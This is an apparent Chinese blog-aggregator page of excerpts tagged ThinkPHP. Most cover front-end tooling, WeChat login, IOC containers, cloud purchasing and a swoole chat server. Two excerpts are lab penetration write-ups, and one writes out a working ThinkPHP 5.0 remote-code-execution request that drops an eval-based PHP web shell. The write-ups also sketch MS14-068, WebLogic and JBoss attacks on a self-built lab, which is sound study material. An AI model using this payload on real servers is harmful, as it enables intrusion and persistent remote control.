ThinkPHP

require.js与IDEA的配合

Deadly 提交于 2020-08-07 21:26:53
本文主要讲述在html中使用requirejs时,如何让IDEA更加智能识别javascript的方法。 测试时的目录结构,一种典型的 thinkphp 的结构,同时,在 a.thml 中通过 requirejs 引用 了 Public/Home/View/moduleA/a.js, 后面我们的测试,都在 a.js 中进行。 路径可识别 + amd class, 对象,方法,都能完美识别 class 导出 我们在 Class1.js 中导出一个 Class,且只使用 AMD 方式导出,代码如下: define([], function () { class Class1 { static a() { } ia() { } } return Class1; }) View Code 当我用 control 按下时,Class1 能识别,且能进入 导出的符号 c1,能自动联想class静态,实例方法 对象导出 我们使用 moduleA/obj1.js 文件导出一个对象,代码如下: define([], function () { return { /* * * obj1 的 a 方法 */ a: function () { }, } }) View Code 同导出class一样,能完美自动联想 路径不可识别 + amd class导出 我们在 require.config 中配置了

Niushop 成为 ThinkPHP 官方生态合作伙伴

你离开我真会死。 提交于 2020-08-07 15:20:18
感谢Thinkphp官方推荐Niushop开源商城成为TP生态伙伴。 ThinkPHP框架,是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 Niushop开源商城全系列产品基于TP开发。安全、稳定、高效。也是TP生态圈重要的伙伴之一。 来源: oschina 链接: https://my.oschina.net/u/4113588/blog/4339674

ThinkPHP6.0 + UniApp 实现小程序的 微信登录

ⅰ亾dé卋堺 提交于 2020-08-07 13:33:14
微信登录思路: 在main.js 中封装公共函数,用于判断用户是否登录 在main.js 中分定义全局变量,用于存储接口地址 如果没有登录、则跳转至登录页面 进入登录页面 通过 wx.login 获取用户的 code 通过 code 获取用户的 SessionKey、OpenId 等信息【本应后台接口、但是此处使用js发送请求】 通过 openId 调用后台 Api 获取用户的信息 获取成功,则说明已经授权过了,直接登录成功 获取失败,则说明没有授权过,需要授权之后才能进行登录 用户点击页面微信登录按钮【 <button open-type="getUserInfo"></button>】 获取用户数据,然后调用后台接口写入数据库 在 applets/main.js 中添加如下 // 封装全局登录函数 // backpage, backtype 2个参数分别代表: // backpage : 登录后返回的页面 // backtype : 打开页面的类型[1 : redirectTo 2 : switchTab] Vue.prototype.checkLogin = function( backpage, backtype ){ // 同步获取本地数据(uid、随机码、用户名、头像) var user_id = uni.getStorageSync('user_id'); var

(3) IOC容器

懵懂的女人 提交于 2020-08-06 09:04:38
下面对thinkphp6与laravel7的容器做一个比较。 首先理解下三个概念: IOC(控制反转)、DI(依赖注入)、IOC容器 IOC:简单来讲,就是对类的新建、管理交由他人去处理。省去了new Class的步骤。 DI:IOC的实现方式,逐层搜索类的依赖,并实例化。是一种递归的思想。 IOC容器:存储DI处理过后的实例化对象。 用生活的例子去描述:制作一张桌子。 如果我需要张桌子去写作业,在没有机器加持情况下,只能自己动手去制作。 首先我需要木材,找到木材后,我需要钉子,找到钉子后,我总得有锤子吧。使用这些材料与工具,我制作一张漂亮的桌子,但是耗时又费力。 现在来了个新邻居,他是专业的木匠。我现在只需要任务交给他,他帮我实现所有的制作流程,刚好他家又大又宽,能把制作的东西暂存。 我需要的时候才拿出来用,不需要就放那搁着,要是我想要个新桌子,就叫他帮忙重新做个。 类似于委托,隐藏了后面的复杂实现,减少了我的工作量。 以上就是容器的整个思想。 下面看一下thinkphp6&laravel7是如何去实现这种思想的。 再来理解下psr11,这个是fig组织设定的容器接口规范,目前的大部分框架有比较好的支持。 它约定了两个方法,一个get($id) -- 从容器中获取实例化的对象,一个has($id) -- 检查是否存在于容器。另外约定了出错,抛出的exception的种类。

2020最新阿里云服务器配置流程详细更新(图文教程)

試著忘記壹切 提交于 2020-08-04 14:45:20
阿里云服务器 购买页面小编认为过于复杂,尤其是对于第一次购买云服务器的新手来讲,2019年了,思来想去小编决定写一篇服务器购买流程的图文教程: 阿里云服务器购买流程 如何购买ECS云服务器(啥是ECS?阿里云的服务器叫ECS)?首先你得有个账号,然后根据自身实际情况选择配置(CPU、内存和宽带等),最后去 ECS购买页面下单 购买入口有两种,见下文),大概就是这么个思路,小编开始教程: 阿里云2000优惠券免费领取 (阿里云优惠券的作用:购买阿里云产品,最后支付结算的时候,阿里云优惠券可抵扣一部分费用。 一:准备阿里云账号 你有阿里云账号吗?你的账号实名认证了吗?根据有关规定,购买云服务器的账户必须要实名,否则购买不了。这么麻烦?也没有了,直接使用支付宝账号登录即可,阿里云可以调用支付宝的实名认证信息,就免去实名上传身份证的繁琐操作了。当然,使用实名认证的淘宝账号也是可以的。 如下图所示: 看到了吗?阿里云支持多种账号登录,你使用支付宝、淘宝都可以。 阿里云2000优惠券免费领取 (阿里云优惠券的作用:购买阿里云产品,最后支付结算的时候,阿里云优惠券可抵扣一部分费用。 二:买什么配置的云服务器呢? 配置选型 就要根据用户实际的使用场景了,以搭建网站为例,入门级的1核CPU/1G内存/1M宽带的云服务器,如果网站的图片多媒体较少的情况下,这个配置支撑3000PV的日流量

swoole+websocket+redis实现一对一聊天

若如初见. 提交于 2020-07-28 10:48:42
如同web端的QQ和微信一样,这是一个web端的聊天程序。 环境:linux(centos) + php7.2 + swoole扩展 + redis + mysql Redis 实现每个连接websocket的服务都唯一绑定一个用户。通过 用户账号 = websocket fd 存到redis中。 Mysql 实现离线消息池。如果一个用户不在线,则其他用户发送给他的消息暂时存储在mysql。待该用户上线时,再从离线消息池取出发送。 此处是看了 还是感谢大神。 具体参考代码和相应注释: 服务端代码: <? php $server = new swoole_websocket_server("0.0.0.0", 9052 ); $redis = new Redis(); $redis ->connect('127.0.0.1', 6379 ); $db = new mysqli('127.0.0.1', 'test', 'test', 'thinkphp5' ); $server ->on('open', function (swoole_websocket_server $server , $request ) { echo "server: handshake success with fd{ $request ->fd}\n"; // $request->fd 是客户端id })

内网靶机实战渗透

旧城冷巷雨未停 提交于 2020-07-27 12:01:14
本文仅为了学习交流,自己搭建靶机环境进行测试,严禁非法使用!!! (随笔仅为平时的学习记录,若有错误请大佬指出) 一: 内网靶机分布 内网入口(攻击者和该win10在同一网段,攻击者无法访问win10虚拟机中的主机) win10 phpstudy thinkphpv5.0.24 域环境(均可以出网) win7 phpstudy uploads-lab win2003 jboss4.x漏洞 win2008 域控 双网卡(其中一个网卡链接着下面的主机) 其他主机(以下主机在同一网段,不能出网,与域环境处于不同网段,只有域控可以访问以下主机) win7 Tomcat win2008 Mssql win2003 win2012 weblogic 攻击思路: 拿下存下ThinkPhp漏洞的主机-开启socks代理进入内网-通过uploads-lab上传webshell拿下win7-通过weblogic漏洞拿下win2012dc-通过jboss4.x漏洞拿下win2003-通过MS14-068漏洞拿下域控-添加第二个网卡的路由-通过Tomcat漏洞拿下win7-解密win7的数据库密码拿下win2008权限-获取win2008的远程连接凭证拿下win2003-拿下全部主机 二:(Cobalt Strike3.14简称CS,Msfconsole简称MSF) 访问win10的web服务

红日VulnStack(5)靶机实战

余生颓废 提交于 2020-07-25 23:39:28
1.环境搭建 靶机下载地址: http://vulnstack.qiyuanxuetang.net/vuln/ win7(双网卡): 192.168.135.150(外网) 192.168.138.136(内网) 外网使用NAT模式,内网仅主机模式。 win2008: 2.外网信息收集 2.1访问目标网站发现是个TP框架的站。 2.2版本判断 通过报错得知TP的详细版本 2.3进行目录扫描 拿服务器权限 1.当我们确认框架和具体版本后,就可以寻找框架对应的历史漏洞poc。 ThinkPhp5.0任意代码执行: https://www.cnblogs.com/backlion/p/10106676.html 2.尝试写入shell http://192.168.135.150/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"]);?^>>shell.php 成功的话会写入到public目录下,然后访问一下shell.php就拿蚁剑连接。 然后就进入到我们的内网了 3.内网信息收集 1.查看一下权限 如果权限较低的话就要提权

个人作业——软件工程实践总结&个人技术博客

和自甴很熟 提交于 2020-07-25 17:18:34
这个作业属于哪个课程 2020 春福大软工实践 W 班 这个作业要求在哪里 个人作业——软件工程实践总结&个人技术博客 这个作业的目标 将项目的设计落地,继续完善设计类图,并在正式开始开发之前设计好系统和数据库、制定好计划和分工 作业正文 其他参考文献 一、回望 【20%】 (1)对比开篇博客你对课程目标和期待,“希望通过实践锻炼,增强软件工程专业的能力和就业竞争力”,对比目前的所学所练所得,在哪些方面达到了你的期待和目标,哪些方面还存在哪些不足,为什么? 虽然编程能力和团队合作能力都得到了进步,但是仍然还是不够。 (2)你在第一次作业的个人简历中制定的这门课程结束后,你预期你将增长的能力、技术、技能;和你针对你的目标绘制的学习路线图。对比当前你的所学所得,你达到了当时的预期值吗? 没有,只学习了其中的一部分。 (3)请总结这门课程的实践总结和给你带来的提升,包括以下内容: 统计一下,你在这门软件工程实践中,一共完成了多少行的代码; 4000左右 软工实践的各次作业分别花了多少时间?(做一个列表) 作业 耗时(小时) 准备篇 10 热身篇——疫情统计 10 结对第一次—某次疫情统计可视化(原型设计) 20 团队作业第一次——种子队伍选拔和团队展示 4 结对第二次作业——某次疫情统计可视化的实现 20 团队作业第二次—团队Github实战训练 8 团队作业第三次—项目需求分析 10